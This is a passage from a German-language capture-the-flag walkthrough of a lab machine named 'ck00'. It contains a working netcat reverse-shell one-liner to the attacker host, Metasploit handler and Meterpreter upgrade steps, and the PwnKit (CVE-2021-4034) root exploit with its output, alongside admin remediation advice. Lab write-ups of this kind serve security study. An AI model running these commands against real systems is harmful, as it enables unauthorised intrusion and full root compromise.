   52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
   60 -rwsr-xr-x   1 root     root        59640 Jan 25  2018 /usr/bin/passwd
   76 -rwsr-xr-x   1 root     root        75824 Jan 25  2018 /usr/bin/gpasswd
   24 -rwsr-xr-x   1 root     root        22528 Jun 28  2019 /usr/bin/arping
  428 -rwsr-xr-x   1 root     root       436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   44 -rwsr-xr--   1 root     messagebus    42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
  100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
  100 -rwsr-sr-x   1 root     root         101240 Mar 15  2019 /usr/lib/snapd/snap-confine
[...]
   393312     44 -rwsr-xr-x   1 root     root               43088 Oct 15  2018 /bin/mount
   393352     44 -rwsr-xr-x   1 root     root               44664 Jan 25  2018 /bin/su
   393370     28 -rwsr-xr-x   1 root     root               26696 Oct 15  2018 /bin/umount
   393336     64 -rwsr-xr-x   1 root     root               64424 Mar  9  2017 /bin/ping
   393285     32 -rwsr-xr-x   1 root     root               30800 Aug 11  2016 /bin/fusermount 
                

Analyse: Der Pentester wechselt zum Metasploit Framework (`msfconsole`, nicht gezeigt) und konfiguriert den `multi/handler`, um eine weitere Reverse Shell zu empfangen. Diesmal auf Port 5556. Der Payload-Typ ist `generic/shell_reverse_tcp`.

Bewertung: Dies dient dazu, die bestehende, einfache `nc`-Shell in eine Metasploit-Session umzuwandeln, die mehr Funktionalität bietet (z.B. Upgrade zu Meterpreter, Ausführung von Post-Exploitation-Modulen). Ein Tippfehler bei `set handler true` (`handl�er`) wird gemacht, aber ignoriert.

Empfehlung (Pentester): Nach dem Starten des Handlers (`run`) muss die Reverse-Shell-Payload erneut vom Zielsystem (aus der `www-data`-Shell) gesendet werden, diesmal mit Zielport 5556.
Empfehlung (Admin): Egress-Filterung und Netzwerk-Monitoring bleiben relevant.

                     msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHST eth0
LHST => eth0
msf6 exploit(multi/handler) > set LPORT 5556
LPORT => 5556
msf6 exploit(multi/handler) > set handler true
[!] Unknown datastore option: handl�er.
handl�er => true
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  eth0             yes       The listen address (an interface may be specified)
   LPORT  5556             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.137:5556 
                 

Analyse: Aus der bestehenden `www-data`-Shell auf dem Zielsystem wird die Reverse-Shell-Payload erneut ausgeführt, diesmal mit dem Zielport 5556, auf dem der Metasploit-Handler lauscht.

Bewertung: Dies ist der notwendige Schritt, um die Verbindung zum Metasploit-Handler herzustellen.

Empfehlung (Pentester): Die Ausgabe im Metasploit-Fenster beobachten.
Empfehlung (Admin): Siehe vorherige Empfehlung.

                    $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5556 >/tmp/f 
                

Analyse: Der Metasploit-Handler empfängt die Verbindung und öffnet eine "Command shell session 1".

Bewertung: Der Pentester hat nun eine Shell-Session innerhalb von Metasploit, immer noch als `www-data`. Dies ermöglicht die Verwendung von Metasploit-Modulen.

Empfehlung (Pentester): Die Session mit `sessions -i 1` betreten oder sie direkt für Post-Exploitation-Module verwenden. Der nächste logische Schritt ist das Upgrade zu Meterpreter mit `shell_to_meterpreter`.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

                     msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.137:5556
[*] Command shell session 1 opened (192.168.2.137:5556 -> 192.168.2.119:52712) at 2023-06-30 19:51:24 +0200

$

Analyse: Der Pentester verwendet das Metasploit-Post-Exploitation-Modul `post/multi/manage/shell_to_meterpreter`, um die bestehende Shell-Session (ID 1) in eine funktionsreichere Meterpreter-Session umzuwandeln. Es wird ein neuer Listener auf Port 4433 gestartet.

Bewertung: Das Modul wird konfiguriert (Session 1, Listener-Port 4433) und ausgeführt. Es lädt den Meterpreter-Payload auf das Zielsystem hoch und startet ihn. Eine neue Verbindung kommt zurück zum Listener, und "Meterpreter session 2 opened".

Empfehlung (Pentester): Mit der Meterpreter-Session 2 interagieren (`sessions -i 2`). Meterpreter bietet viele eingebaute Befehle zur weiteren Enumeration, Dateimanipulation und Privilegieneskalation. Den PwnKit-Exploit nun über die Meterpreter-Session ausführen.
Empfehlung (Admin): IDS/IPS können bekannte Meterpreter-Payloads erkennen. Egress-Filterung erschwert die Rückverbindung.

                     msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.119
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.119:48334) at 2023-06-30 19:53:30 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

                 

Analyse: Ein Kommentar, der den Beginn des finalen Schritts zur Privilegieneskalation markiert, gefolgt von der Auswahl des PwnKit-Exploit-Moduls in Metasploit.

Bewertung: Der Pentester nutzt nun die Meterpreter-Session und den Fund des `pkexec`-Binaries, um mittels des PwnKit-Exploits (CVE-2021-4034) Root-Rechte zu erlangen.

Empfehlung (Pentester): Die Optionen des Exploit-Moduls korrekt setzen (insbesondere `SESSION` auf die Meterpreter-Session ID 2) und ausführen.
Empfehlung (Admin): System patchen!

                        Privilege Escalation

exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) >

Analyse: Die Optionen für das PwnKit-Exploit-Modul werden angezeigt und konfiguriert:

`SESSION`: Wird auf 2 gesetzt (die Meterpreter-Session).
`LHOST`: Listener-IP (Angreifer-IP).
`LPORT`: Listener-Port für die neue Root-Shell (4444).
`WRITABLE_DIR`: Verzeichnis auf dem Ziel, in das der Exploit schreiben darf (`/tmp`).

Anschließend wird der Exploit mit `run` gestartet.

Bewertung: Metasploit prüft automatisch, ob das Ziel anfällig ist ("[+] The target is vulnerable."). Der Exploit wird nach `/tmp` geschrieben, ausgeführt und eine neue Meterpreter-Session (ID 3) wird geöffnet. Die temporären Dateien werden automatisch bereinigt ("[+] Deleted ...").

Empfehlung (Pentester): Zur neuen Meterpreter-Session 3 wechseln (`sessions -i 3`). Mit `getuid` überprüfen, ob man Root-Rechte hat. Die Root-Flag suchen und auslesen.
Empfehlung (Admin): System patchen. Überwachung auf verdächtige Aktivitäten in `/tmp`. Sicherstellen, dass `pkexec` gepatcht ist.

                     msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.137    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST eth0
LHOST => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4444
LPORT => 4444
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR  /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.xyiouvblf
[+] The target is vulnerable.
[*] Writing '/tmp/.fxlaxcx/ksgjyuc/ksgjyuc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.fxlaxcx
[*] Sending stage (3045348 bytes) to 192.168.2.119
[+] Deleted /tmp/.fxlaxcx/ksgjyuc/ksgjyuc.so
[+] Deleted /tmp/.fxlaxcx/.gspaakizp
[+] Deleted /tmp/.fxlaxcx
[*] Meterpreter session 3 opened (192.168.2.137:4444 -> 192.168.2.119:46850) at 2023-06-30 19:56:08 +0200

meterpreter > 
                 

Proof of Concept (Root Access)

Analyse: Innerhalb der neuen Meterpreter-Session (ID 3) wird `getuid` ausgeführt, um die Benutzeridentität zu überprüfen. Anschließend wird versucht, die Root-Flag-Datei auszulesen.

Bewertung: `getuid` gibt "Server username: root" zurück. Der PwnKit-Exploit war erfolgreich, der Pentester hat Root-Rechte! Der Befehl `cat /root/ck00-root-flag.txt` liest erfolgreich die Root-Flag aus, die in ASCII-Art und Klartext (`c0523985a2640ad30429fb2055196e4c`) angezeigt wird.

Empfehlung (Pentester): Ziel erreicht! Root-Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Das System sofort patchen, um CVE-2021-4034 zu schließen. Alle anderen gefundenen Schwachstellen ebenfalls beheben (WordPress, Apache, SSH, schwache Passwörter, Verzeichnislisting, Theme-Editor).

                     meterpreter > getuid
Server username: root
meterpreter > cat /root/ck00-root-flag.txt
 ▄▄▄▄▄▄▄▄▄▄▄ ▄         ▄ ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄    ▄ ▄▄        ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄         ▄ ▄▄▄▄▄▄▄▄▄▄▄        ▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄
▐▐▌       ▐▐▌▐▐▐▌  ▐▐▌      ▐▐▐▐▌       ▐▐▌      ▐▌ ▐▌
▐█▀▀▀▀▀▀▀▀▀▐▌       ▐▐█▀▀▀▀▀▀▀█▐█▀▀▀▀▀▀▀▀▀▐█▀▀▀▀▀▀▀█▐▌ ▐▌▐▌▌     ▐▌▀▀▀▀██▀▀▀▀▐█▀▀▀▀▀▀▀▀▀▐▌       ▐▌▀▀▀▀██▀▀▀▀      ▐██▀▀▀▀▀█▐██▀▀▀▀▀█▌
▐▌         ▐▌       ▐▐▌       ▐▐▌         ▐▌       ▐▐▌▐▌ ▐▌▐▌    ▐▌    ▐▌    ▐▌         ▐▌       ▐▌    ▐▌          ▐▌▐▌    ▐▐▌▐▌    ▐▌
▐▌         ▐█▄▄▄▄▄▄▄█▐█▄▄▄▄▄▄▄█▐█▄▄▄▄▄▄▄▄▄▐█▄▄▄▄▄▄▄█▐▌▌  ▐▌ ▐▌   ▐▌    ▐▌    ▐▌ ▄▄▄▄▄▄▄▄▐█▄▄▄▄▄▄▄█▌    ▐▌          ▐▌ ▐▌   ▐▐▌ ▐▌   ▐▌
▐▌         ▐▐▌▐▐▐▌   ▐▌  ▐▌  ▐▌    ▐▌    ▐▌▐▐▌    ▐▌          ▐▌  ▐▌  ▐▐▌  ▐▌  ▐▌
▐▌          ▀▀▀▀██▀▀▀▀▐█▀▀▀▀▀▀▀█▐█▀▀▀▀▀▀▀▀▀▐█▀▀▀▀██▀▀▐▌▌  ▐▌   ▐▌ ▐▌    ▐▌    ▐▌ ▀▀▀▀▀▀█▐█▀▀▀▀▀▀▀█▌    ▐▌          ▐▌   ▐▌ ▐▐▌   ▐▌ ▐▌
▐▌              ▐▌    ▐▌       ▐▐▌         ▐▌     ▐▌ ▐▌▐▌ ▐▌    ▐▌▐▌    ▐▌    ▐▌       ▐▐▌       ▐▌    ▐▌          ▐▌    ▐▌▐▐▌    ▐▌▐▌
▐█▄▄▄▄▄▄▄▄▄     ▐▌    ▐█▄▄▄▄▄▄▄█▐█▄▄▄▄▄▄▄▄▄▐▌      ▐▌▐▌ ▐▌▐▌     ▐▐▌▄▄▄▄██▄▄▄▄▐█▄▄▄▄▄▄▄█▐▌       ▐▌    ▐▌          ▐█▄▄▄▄▄██▐█▄▄▄▄▄██▌
▐▌    ▐▌    ▐▌▐▐▌       ▐▐▌  ▐▐▌      ▐▐▐▐▌       ▐▌    ▐▌           ▐▌ ▐▌
 ▀▀▀▀▀▀▀▀▀▀▀      ▀      ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀ ▀         ▀ ▀    ▀ ▀        ▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀         ▀      ▀             ▀▀▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀▀▀


flag = c0523985a2640ad30429fb2055196e4c

Thia flag is a proof that you get the root shell.

You have to submit your report contaning all steps you take to get root shell.

Send your report to our official mail : vishalbiswas420@gmail.com

meterpreter > 
                 

Analyse: Abschließender Kommentar im Bericht, der den Erfolg der Privilegieneskalation bestätigt.

Bewertung: Markiert das Ende des erfolgreichen Angriffs.

Empfehlung (Pentester): Bericht fertigstellen.
Empfehlung (Admin): Alle Schwachstellen beheben.

  Privilege Escalation erfolgreich

Flags

cat /home/ck/ck00-local-flag

8163d4c2c7ccb38591d57b86c7414f8c

cat /root/ck00-root-flag.txt

c0523985a2640ad30429fb2055196e4c